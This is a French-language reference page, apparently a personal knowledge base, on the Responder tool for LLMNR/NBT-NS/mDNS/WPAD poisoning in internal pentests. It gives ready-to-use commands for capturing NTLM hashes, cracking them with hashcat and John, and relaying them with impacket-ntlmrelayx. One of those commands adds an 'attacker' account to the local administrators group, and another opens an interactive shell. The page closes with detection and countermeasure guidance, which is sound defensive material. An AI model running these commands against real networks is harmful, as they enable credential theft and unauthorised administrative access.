Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Offensive › Tools
March 22, 2026

Responder

Responder est un outil de poisoning réseau qui exploite les protocoles de résolution de noms LLMNR, NBT-NS et mDNS pour capturer des hashes NTLM sur un réseau local. C’est souvent le premier vecteur d’attaque en pentest interne.

Protocoles ciblés§

LLMNR (Link-Local Multicast Name Resolution) — port UDP 5355
  Utilisé quand le DNS ne peut pas résoudre un nom
  Diffuse la requête en multicast → Responder répond à la place

NBT-NS (NetBIOS Name Service) — port UDP 137
  Ancien protocole Windows de résolution de noms NetBIOS
  Même mécanisme : Responder répond aux requêtes broadcast

mDNS (Multicast DNS) — port UDP 5353
  Protocole zero-config (Bonjour/Avahi)
  Utilisé par Windows pour résoudre .local

WPAD (Web Proxy Auto-Discovery)
  Les clients cherchent "wpad" sur le réseau pour trouver un proxy
  → Responder peut empoisonner cette résolution

Mécanisme d’attaque§

1. Un utilisateur tape \\SERVEUR dans l'explorateur → typo, serveur inexistant
2. Windows cherche "SERVEUR" dans le DNS → échec
3. Windows émet une requête LLMNR/NBT-NS en broadcast : "Quelqu'un connaît SERVEUR ?"
4. Responder répond : "Oui, c'est moi !"
5. Windows envoie ses credentials NTLM pour s'authentifier
6. Responder capture le hash NTLMv2
7. L'attaquant casse le hash hors ligne ou le relaie

Utilisation de base§

# Lancer Responder en mode écoute
responder -I eth0

# Modes verbeux
responder -I eth0 -v            # Verbose — afficher toutes les requêtes
responder -I eth0 -A            # Analyze only — écouter sans empoisonner (discret)

# Désactiver certains serveurs (si conflits avec des services légitimes)
responder -I eth0 --disable-ess  # Désactiver les SMB Extended Security
responder -I eth0 -F             # Force auth basic (pour capturer des creds en clair)

# Les hashes capturés sont automatiquement sauvegardés dans
ls /usr/share/responder/logs/
# Fichiers : Responder-Session.log, SMB-NTLMv2-SSP-*.txt, ...

Hashes capturés§

Format NTLMv2 capturé :
alice::DOMAINE:1122334455667788:hash_complet_ntlmv2:challenge

Exemples dans les logs Responder :
[SMB] NTLMv2 Hash     : alice::DOMAINE:aabbccdd11223344:4c2a...
[HTTP] NTLMv1 Hash    : bob::WORKGROUP:...
# Cracker avec hashcat
hashcat -m 5600 ntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 ntlmv2_hashes.txt rockyou.txt -r rules/best64.rule

# Mode NTLMv1 (moins courant mais plus rapide à casser)
hashcat -m 5500 ntlmv1_hashes.txt rockyou.txt

# John the Ripper
john ntlmv2_hashes.txt --wordlist=rockyou.txt --format=netntlmv2

NTLM Relay — sans casser le hash§

Au lieu de capturer et casser le hash, on peut le relayer directement vers une autre machine.

# Désactiver SMB et HTTP dans Responder (pour que ntlmrelayx les intercepte)
# Modifier /etc/responder/Responder.conf :
# SMB = Off
# HTTP = Off

# Terminal 1 : Responder empoisonne LLMNR mais ne répond pas SMB/HTTP
responder -I eth0

# Terminal 2 : ntlmrelayx relaie les authentifications vers des cibles
impacket-ntlmrelayx -tf targets.txt -smb2support

# Si le compte relayé est admin sur la cible → dump SAM automatique
# Ou exécuter une commande :
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net localgroup administrators attacker /add"

# Relay vers LDAP (utile pour créer des comptes ou modifier des attributs AD)
impacket-ntlmrelayx -t ldap://DC01.domaine.local --delegate-access

# Condition : SMB signing doit être désactivé sur les cibles
# Vérifier avec nxc :
nxc smb 192.168.1.0/24 --gen-relay-list targets_no_signing.txt

MultiRelay — cibler une machine spécifique§

# Si on veut cibler une machine précise plutôt qu'une liste
impacket-ntlmrelayx -t 192.168.1.20 -smb2support --no-http-server

# Avec Interactive shell (si ntlmrelayx relaie vers un admin)
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# → Lance un shell interactif sur le port 11000
nc 127.0.0.1 11000

Serveurs Responder§

Responder lance plusieurs serveurs simulés pour capturer différents types de credentials :

SMB   → Hash NTLMv1/v2 (le plus courant)
HTTP  → Hash NTLM (navigateurs configurés pour l'auth intégrée Windows)
HTTPS → Hash NTLM via TLS
FTP   → Credentials FTP en clair ou hash
SMTP  → Credentials SMTP
POP3  → Credentials POP3
IMAP  → Credentials IMAP
LDAP  → Hash NTLM pour les clients LDAP Windows
DNS   → Empoisonnement DNS local
WPAD  → Proxy auto-discovery → hash NTLM + potentiel MITM HTTP
# Activer WPAD (peut capturer plus de hashes depuis les navigateurs)
responder -I eth0 -wF
# -w = activer le serveur WPAD
# -F = forcer l'authentification basique sur le serveur WPAD

Détection et contre-mesures§

Détection :
  - Surveiller les requêtes LLMNR/NBT-NS anormalement répondues
  - Comparer les réponses DNS/LLMNR (même nom → deux répondants = suspect)
  - Événement Windows 4648 (connexion avec credentials explicites) depuis des IPs inattendues
  - Wireshark : filtrer llmnr || nbns pour voir les requêtes et répondants

Contre-mesures :
  ✓ Désactiver LLMNR via GPO :
    Computer Config → Admin Templates → Network → DNS Client → Turn off multicast name resolution → Enabled
  ✓ Désactiver NBT-NS :
    Propriétés TCP/IP → Avancé → WINS → Disable NetBIOS over TCP/IP
  ✓ Activer SMB signing (requis) → empêche le relais NTLM
  ✓ Activer LDAP signing et channel binding → empêche le relais LDAP
  ✓ Désactiver WPAD si non utilisé
  ✓ Utiliser des mots de passe complexes (résistants au craquage)
  ✓ Privileged Access Workstations (PAW) — les admins ne naviguent pas depuis leurs postes
—The Gardener